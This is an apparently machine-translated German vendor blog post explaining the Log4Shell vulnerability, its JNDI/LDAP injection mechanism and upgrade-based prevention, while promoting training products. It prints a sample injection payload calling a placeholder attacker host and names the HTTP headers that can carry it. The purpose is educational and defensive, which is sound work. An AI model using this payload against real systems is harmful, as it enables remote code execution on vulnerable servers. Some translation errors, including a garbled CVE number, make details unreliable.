Die Log4j-Sicherheitslücke erklärt — Ihr Angriffsvektor und wie man ihn verhindert

Am 9. Dezember wurde ein 0-Tage-Exploit in der Java-Bibliothek Log4j veröffentlicht. CVE-44228, synchronisiert Log4-Shell, wurde als „hoher Schweregrad“ eingestuft, da der Exploit zur Remotecodeausführung führen kann (REIS). Darüber hinaus ist log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken und gefährdet daher Millionen von Anwendungen.

Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?

Wir haben ein Showcase erstellt, das Sie von der Grundidee von Log4Shell bis hin zu den Exploits dieser Sicherheitslücke in einem Simulator namens Mission führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Sicherheitslücke auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase zu springen, oder lesen Sie weiter, um mehr über die Sicherheitsanfälligkeit im Detail zu erfahren.

Alte Neuigkeiten?

Der Exploit ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 haben Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh betonte das“Anwendungen sollten keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen„und veranschaulichte, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen kann. Und genau das ist der Kern von Log4Shell.

Angriffsvektor

Die Injektionsnutzlast von Log4Shell sieht so aus:

$ {jndi: ldap: //attacker.host/xyz}

Um das zu verstehen, müssen wir über Javas Expression Language (EL) Bescheid wissen. Ausdrücke, die in der folgenden Syntax geschrieben sind: $ {expr} wird zur Laufzeit ausgewertet. $ {java:version} gibt beispielsweise die verwendete Java-Version zurück.

Als nächstes gibt es JNDI, oder Java-Benennungs- und Verzeichnisschnittstelle, eine API, die es ermöglicht, mithilfe von Protokollen wie LDAP, DNS, RMI usw. eine Verbindung zu Diensten herzustellen, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt: In unserem obigen Beispiel für bösartige Nutzdaten führt JNDI eine Suche auf dem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei hinweisen, die bösartigen Code enthält, der im Gegenzug auf dem anfälligen Server ausgeführt wird.

Was diese Sicherheitslücke so problematisch macht, ist, dass Log4j alle Logeinträge auswertet und nach allen protokollierten Benutzereingaben sucht, die in EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Die Nutzlast kann an jeder Stelle eingefügt werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Außerdem HTTP-Header, wie die Benutzer-Agent und X-Forwarded-Fürund andere Header können so angepasst werden, dass sie die Nutzlast tragen.

Um den Exploit selbst zu erleben, gehe zu unserem Showcase und springe zu Schritt 2 — „Wirkung erleben“.

Prävention: Sensibilisierung

Ein Upgrade ist die empfohlene Maßnahme für alle Anwendungen, da Log4j den anfälligen Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch ein DDoS und andere Sicherheitslücken, was bedeutet, dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.

Als Entwickler, die Code schreiben, müssen wir die Sicherheit jederzeit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen beeinträchtigt werden kann, von denen wir naiverweise annehmen, dass sie sicher sind.

Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können Entwickler nur so viel tun, als anfällige Komponenten über Software von Drittanbietern eingeführt werden. Auf der anderen Seite wurde die Lektion, die daraus gezogen wurde, immer wieder wiederholt, nämlich Benutzereingaben niemals zu vertrauen.

Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um Sicherheitslücken im Code zu verhindern. Da SCW umfangreiche Schulungen speziell für das Programmierframework anbietet, konnten Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre von SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.

Insbesondere für Java-Entwickler bietet Secure Code Warrior Sensei, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Codeanalyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Sicherheitslücken zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten verwenden Kochbücher. Stöbern Sie in unseren Rezepte, und vergessen Sie nicht, unsere herunterzuladen Log4j Kochbuch was Ihnen helfen wird, die Log4Shell-Sicherheitslücke im Handumdrehen zu finden und zu beheben.

Verbessere deine Fähigkeiten in der Verteidigung gegen Log4Shell

Interessiert daran, das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umzusetzen? Unser Showcase kann Ihnen helfen. Zu Beginn des Showcases erhalten Sie einen kurzen Überblick über diese Sicherheitslücke. Anschließend werden Sie in eine simulierte Umgebung geleitet, in der Sie den Exploit anhand von Anleitungen ausprobieren können.

‍